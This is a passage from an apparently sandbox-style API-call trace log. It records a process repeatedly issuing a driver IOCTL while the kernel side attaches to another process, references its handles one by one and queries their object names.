ApcState=0xfffff88004f095d0) [0103.549] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00202e5c0, HandleInformation=0x0) returned 0x0 [0103.549] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.549] PsReleaseProcessExitSynchronization () returned 0x2 [0103.549] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.549] ObQueryNameString (in: Object=0xfffff8a00202e5c0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.549] ObfDereferenceObject (Object=0xfffff8a00202e5c0) returned 0x1 [0103.549] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.549] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.549] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.549] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.549] PsAcquireProcessExitSynchronization () returned 0x0 [0103.549] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.550] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001efae00, HandleInformation=0x0) returned 0x0 [0103.550] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.550] PsReleaseProcessExitSynchronization () returned 0x2 [0103.550] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.550] ObQueryNameString (in: Object=0xfffff8a001efae00, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.550] ObfDereferenceObject (Object=0xfffff8a001efae00) returned 0x1 [0103.550] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.550] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.550] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.550] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.550] PsAcquireProcessExitSynchronization () returned 0x0 [0103.550] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.550] ObReferenceObjectByHandle (in: Handle=0x430, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001ffee10, HandleInformation=0x0) returned 0x0 [0103.550] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.550] PsReleaseProcessExitSynchronization () returned 0x2 [0103.550] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.550] ObQueryNameString (in: Object=0xfffff8a001ffee10, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.550] ObfDereferenceObject (Object=0xfffff8a001ffee10) returned 0x1 [0103.550] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.550] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.550] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.550] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.550] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.550] PsAcquireProcessExitSynchronization () returned 0x0 [0103.550] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.550] ObReferenceObjectByHandle (in: Handle=0x440, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020161d0, HandleInformation=0x0) returned 0x0 [0103.550] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.550] PsReleaseProcessExitSynchronization () returned 0x2 [0103.550] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.550] ObQueryNameString (in: Object=0xfffff8a0020161d0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.550] ObfDereferenceObject (Object=0xfffff8a0020161d0) returned 0x1 [0103.550] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.551] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.551] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.551] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.551] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.551] PsAcquireProcessExitSynchronization () returned 0x0 [0103.551] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.551] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001feb740, HandleInformation=0x0) returned 0x0 [0103.551] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.551] PsReleaseProcessExitSynchronization () returned 0x2 [0103.551] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.551] ObQueryNameString (in: Object=0xfffff8a001feb740, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.551] ObfDereferenceObject (Object=0xfffff8a001feb740) returned 0x1 [0103.551] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.551] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.551] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.551] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.551] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.551] PsAcquireProcessExitSynchronization () returned 0x0 [0103.551] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.551] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001b713e0, HandleInformation=0x0) returned 0x0 [0103.551] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.551] PsReleaseProcessExitSynchronization () returned 0x2 [0103.551] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.551] ObQueryNameString (in: Object=0xfffff8a001b713e0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.551] ObfDereferenceObject (Object=0xfffff8a001b713e0) returned 0x1 [0103.551] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.552] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.552] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.552] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.552] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.552] PsAcquireProcessExitSynchronization () returned 0x0 [0103.552] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.552] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fab170, HandleInformation=0x0) returned 0x0 [0103.552] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.552] PsReleaseProcessExitSynchronization () returned 0x2 [0103.552] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.552] ObQueryNameString (in: Object=0xfffff8a001fab170, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.552] ObfDereferenceObject (Object=0xfffff8a001fab170) returned 0x1 [0103.552] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.552] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.552] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.552] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.552] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.552] PsAcquireProcessExitSynchronization () returned 0x0 [0103.552] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.552] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001cb0690, HandleInformation=0x0) returned 0x0 [0103.552] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.552] PsReleaseProcessExitSynchronization () returned 0x2 [0103.552] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.552] ObQueryNameString (in: Object=0xfffff8a001cb0690, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.552] ObfDereferenceObject (Object=0xfffff8a001cb0690) returned 0x1 [0103.552] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.552] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.552] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.552] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.552] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.553] PsAcquireProcessExitSynchronization () returned 0x0 [0103.553] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.553] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f9f600, HandleInformation=0x0) returned 0x0 [0103.553] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.553] PsReleaseProcessExitSynchronization () returned 0x2 [0103.553] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.553] ObQueryNameString (in: Object=0xfffff8a001f9f600, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.553] ObfDereferenceObject (Object=0xfffff8a001f9f600) returned 0x1 [0103.553] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.553] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.553] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.553] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.553] PsAcquireProcessExitSynchronization () returned 0x0 [0103.553] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.553] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002039e50, HandleInformation=0x0) returned 0x0 [0103.553] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.553] PsReleaseProcessExitSynchronization () returned 0x2 [0103.553] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.553] ObQueryNameString (in: Object=0xfffff8a002039e50, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.553] ObfDereferenceObject (Object=0xfffff8a002039e50) returned 0x1 [0103.553] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.553] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.553] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.553] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.553] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.553] PsAcquireProcessExitSynchronization () returned 0x0 [0103.553] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.554] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fa75a0, HandleInformation=0x0) returned 0x0 [0103.554] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.554] PsReleaseProcessExitSynchronization () returned 0x2 [0103.554] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.554] ObQueryNameString (in: Object=0xfffff8a001fa75a0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.554] ObfDereferenceObject (Object=0xfffff8a001fa75a0) returned 0x1 [0103.554] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.554] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.554] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.554] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.554] PsAcquireProcessExitSynchronization () returned 0x0 [0103.554] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.554] ObReferenceObjectByHandle (in: Handle=0x4c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002046630, HandleInformation=0x0) returned 0x0 [0103.554] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.554] PsReleaseProcessExitSynchronization () returned 0x2 [0103.554] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.554] ObQueryNameString (in: Object=0xfffff8a002046630, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.554] ObfDereferenceObject (Object=0xfffff8a002046630) returned 0x1 [0103.554] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.554] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.554] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.554] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.554] PsAcquireProcessExitSynchronization () returned 0x0 [0103.554] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.554] ObReferenceObjectByHandle (in: Handle=0x4d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fe05a0, HandleInformation=0x0) returned 0x0 [0103.554] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.554] PsReleaseProcessExitSynchronization () returned 0x2 [0103.554] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.555] ObQueryNameString (in: Object=0xfffff8a001fe05a0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.555] ObfDereferenceObject (Object=0xfffff8a001fe05a0) returned 0x1 [0103.555] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.555] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.555] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.555] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.555] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.555] PsAcquireProcessExitSynchronization () returned 0x0 [0103.555] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.555] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001fcc4a0, HandleInformation=0x0) returned 0x0 [0103.555] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.555] PsReleaseProcessExitSynchronization () returned 0x2 [0103.555] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.555] ObQueryNameString (in: Object=0xfffff8a001fcc4a0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.555] ObfDereferenceObject (Object=0xfffff8a001fcc4a0) returned 0x1 [0103.555] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.555] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.555] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.555] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.555] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.555] PsAcquireProcessExitSynchronization () returned 0x0 [0103.555] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.555] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f97590, HandleInformation=0x0) returned 0x0 [0103.555] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.555] PsReleaseProcessExitSynchronization () returned 0x2 [0103.555] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.555] ObQueryNameString (in: Object=0xfffff8a001f97590, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.555] ObfDereferenceObject (Object=0xfffff8a001f97590) returned 0x1 [0103.555] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.555] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.556] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.556] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.556] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.556] PsAcquireProcessExitSynchronization () returned 0x0 [0103.556] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.556] ObReferenceObjectByHandle (in: Handle=0x500, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f93d20, HandleInformation=0x0) returned 0x0 [0103.556] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.556] PsReleaseProcessExitSynchronization () returned 0x2 [0103.556] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.556] ObQueryNameString (in: Object=0xfffff8a001f93d20, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: 